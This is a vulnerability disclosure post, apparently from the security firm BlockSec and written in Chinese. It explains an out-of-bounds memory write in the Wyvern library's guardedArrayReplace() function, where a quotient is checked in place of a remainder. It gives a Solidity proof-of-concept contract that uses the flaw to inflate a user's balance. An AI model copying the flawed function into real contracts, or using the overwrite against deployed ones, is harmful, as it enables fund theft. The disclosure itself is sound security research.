簡介
我們的漏洞檢測系統在 Wyvern 函式庫的最新實作中發現了一個記憶體覆寫漏洞,該函式庫屬於曾被 OpenSea 使用的 Wyvern 去中心化交易所協定。此漏洞可能導致任意存儲寫入 (arbitrary storage write)。
我們已嘗試聯絡該專案(例如透過電子郵件和社群媒體),但尚未收到任何回應。由於 OpenSea 已遷移至 Seaport 協定,我們認為向公眾揭露詳細資訊是安全的。此外,我們希望能分享這些發現以引起社群共鳴,因為這個漏洞本身相當棘手,而其利用方式也十分有趣。
描述
漏洞程式碼可以在 官方程式碼儲存庫 中找到,提交雜湊值為 4790c04604b8dc1bd5eb82e697d1cdc8c53d57a9。
具體來說,此漏洞位於 ArrayUtils.sol 的 guardedArrayReplace() 函式中。顧名思義,此函式用於將一個動態位元組陣列(即名為 desired 的第二個參數)選擇性地複製到另一個陣列(即名為 array 的第一個參數)。請注意,此函式實作了字級(即 0x20 位元組)操作,因此程式碼邏輯可以根據除法計算結果分為兩個步驟。
對於商數部分(即 words = array.length / 0x20),第 42 行到第 49 行的程式碼邏輯會將 desired 陣列逐字複製到目標陣列。此步驟運作符合預期,儘管第 39 行的 assert 陳述式因整數運算而顯得毫無用處。

前一步完成後,如果除法產生餘數,則表示仍有一些位元組未被正確複製。第 52 行到第 66 行的程式碼邏輯旨在處理這些位元組。遺憾的是,第 52 行的 if 陳述式錯誤地使用了商數(words,即 array.length / 0x20)而非餘數(array.length % 0x20)來執行檢查。
嚴重性
此漏洞可能導致任意存儲寫入。假設 array.length 可以被 0x20 整除,複製操作實際上已在迴圈邏輯中完成。然而,在大多數情況下,該函式會進入漏洞邏輯並嘗試將 desired 陣列後的一個字複製到目標陣列,這不可避免地導致越界存取。更糟糕的是,這種錯誤的邏輯可能會被利用,將一個字覆寫到目標陣列的末尾,這是一個未知的記憶體區域,可能會被用於任何用途。
如何利用此漏洞?
我們開發了一個 PoC 合約來演示潛在的攻擊向量。PoC 合約有兩個函式,第一個名為 test() 用於執行攻擊,而第二個則是存在漏洞的 guardedArrayReplace() 函式。
具體來說,在 test() 函式中,我們首先定義了一些記憶體內位元組(a、b 和 mask)以及一個陣列(即 _rewards)。此處定義的 _rewards 將用於計算使用者的獎勵。在呼叫 guardedArrayReplace() 函式以使用 mask 將 a 複製到 b 後,_rewards 將被添加到使用者的餘額中(即 balances[msg.sender])。
<span id="f8d5" data-selectable-paragraph="">contract PoC {</span><span id="6c09" data-selectable-paragraph=""> mapping(address=>uint) public balances;<br></span><span id="5b38" data-selectable-paragraph=""> event T(uint256,uint256,uint256);</span><span id="4fde" data-selectable-paragraph=""> function test() external {<br> bytes memory a = abi.encode(keccak256("123"));<br> bytes memory b = abi.encode(keccak256("456"));<br> uint[] memory _rewards = new uint[](1);<br> bytes memory mask = abi.encode(keccak256("123"));<br> bytes memory d = abi.encode(keccak256("eee"));<br> bytes memory d1 = abi.encode(keccak256("eee"));<br> bytes memory d3 = abi.encode(keccak256("eee"));<br> bytes memory d4 = abi.encode(keccak256("eee"));<br> bytes memory d5 = abi.encode(keccak256("eee"));<br> guardedArrayReplace(b, a, mask);</span><span id="19ec" data-selectable-paragraph=""> for(uint i = 0; i < _rewards.length; i++){<br> uint256 amt = _rewards[i];<br> balances[msg.sender] += amt;<br> }<br> }</span><span id="9ed3" data-selectable-paragraph=""> function guardedArrayReplace(bytes memory array, bytes memory desired, bytes memory mask)<br> internal<br> pure<br> {<br> require(array.length == desired.length, "Arrays have different lengths");<br> require(array.length == mask.length, "Array and mask have different lengths");</span><span id="f13c" data-selectable-paragraph=""> uint words = array.length / 0x20;<br> uint index = words * 0x20;<br> assert(index / 0x20 == words);<br> uint i;</span><span id="85cd" data-selectable-paragraph=""> for (i = 0; i < words; i++) {<br> /* Conceptually: array[i] = (!mask[i] && array[i]) || (mask[i] && desired[i]), bitwise in word chunks. */<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(and(not(maskValue), mload(add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex)))))<br> }<br> }</span><span id="69d7" data-selectable-paragraph=""> /* Deal with the last section of the byte array. */<br> if (words > 0) {<br> /* This overlaps with bytes already set but is still more efficient than iterating through each of the remaining bytes individually. */<br> i = words;<br> assembly {<br> let commonIndex := mul(0x20, add(1, i))<br> let maskValue := mload(add(mask, commonIndex))<br> mstore(add(array, commonIndex), or(<br> and(not(maskValue), <br> mload(<br> add(array, commonIndex))), and(maskValue, mload(add(desired, commonIndex))))<br> )<br> }<br> } else {<br> /* If the byte array is shorter than a word, we must unfortunately do the whole thing bytewise.<br> (bounds checks could still probably be optimized away in assembly, but this is a rare case) */<br> for (i = index; i < array.length; i++) {<br> array[i] = ((mask[i] ^ 0xff) & array[i]) | (mask[i] & desired[i]);<br> }<br> }<br> }<br>}</span>
在此我們使用 Remix 來演示結果。值得注意的是,最初我們沒有為 _rewards 和 balances 分配任何值。攻擊完成後,使用者餘額被設定為一個極大的數值(如紅色矩形所示)。

結論
雖然罕見,但這類記憶體覆寫漏洞仍可能存在於智慧合約中。開發人員需要注意處理記憶體的程式碼邏輯。
關於 BlockSec
BlockSec 是一家開拓性的區塊鏈安全公司,由一群全球傑出的安全專家於 2021 年創立。公司致力於增強新興 Web3 世界的安全性和可用性,以促進其大規模普及。為此,BlockSec 提供智慧合約與 EVM 鏈安全審計服務、用於安全開發與主動阻斷威脅的 Phalcon 平台、用於資金追蹤與調查的 MetaSleuth 平台,以及協助 Web3 建構者在加密世界中高效瀏覽的 MetaDock 擴充功能。
迄今為止,公司已為 MetaMask、Uniswap Foundation、Compound、Forta 和 PancakeSwap 等 300 多家知名客戶提供服務,並獲得了包括 Matrix Partners、Vitalbridge Capital 和萬向區塊鏈實驗室(Fenbushi Capital)在內的頂尖投資者兩輪數千萬美元的融資。
官方 Twitter 帳號:https://twitter.com/BlockSecTeam



